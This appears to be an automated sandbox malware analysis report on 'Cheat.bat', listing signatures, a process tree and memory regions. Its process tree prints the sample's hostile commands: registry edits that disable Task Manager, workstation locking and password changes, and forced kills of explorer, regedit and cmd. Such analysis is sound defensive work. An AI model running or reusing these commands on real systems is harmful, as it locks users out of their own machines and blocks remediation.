Analysis

  • max time kernel
    149s
  • max time network
    116s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 00:27

General

  • Target
    Cheat.bat
  • Size 3KB
  • Sample260809-arvbsafl7y
  • SHA256 9bb79f25d6702a14144c6e68da664416f0d940b53660413cdbe77a00fffc6d00
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Disables Task Manager via registry modification
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Kills process with taskkill 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Cheat.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2952
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$signature = @'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$dll = @'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5760
    • C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWinKeys /t REG_DWORD /d 1 /f
      2⤵
        PID:4864
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        2⤵
          PID:2636
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f
          2⤵
            PID:4432
          • C:\Windows\system32\reg.exe
            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangePassword /t REG_DWORD /d 1 /f
            2⤵
              PID:2912
            • C:\Windows\system32\taskkill.exe
              taskkill /f /im explorer.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:5964
            • C:\Windows\system32\taskkill.exe
              taskkill /f /im taskmgr.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1064
            • C:\Windows\system32\taskkill.exe
              taskkill /f /im regedit.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3012
            • C:\Windows\system32\taskkill.exe
              taskkill /f /im cmd.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3376

          Network

                MITRE ATT&CK Enterprise v16

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                Downloads

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 948B
                • SHA256 50b378ad7f595434895230ae5c10cf6530fb49322b4625d9de16cfa116e5719c
                • MD5 SHA1 SHA512 TLSH

                memory/5112-13-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5112-14-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5112-4-0x000001984AA70000-0x000001984AA92000-memory.dmp

                memory/5112-6-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5112-7-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5112-8-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5112-9-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5112-10-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5112-11-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5112-0-0x00007FFC1D85F000-0x00007FFC1D860000-memory.dmp

                memory/5112-5-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5112-3-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5760-15-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5760-19-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5760-20-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5760-21-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5760-23-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5760-24-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5760-22-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5760-25-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

                memory/5760-27-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp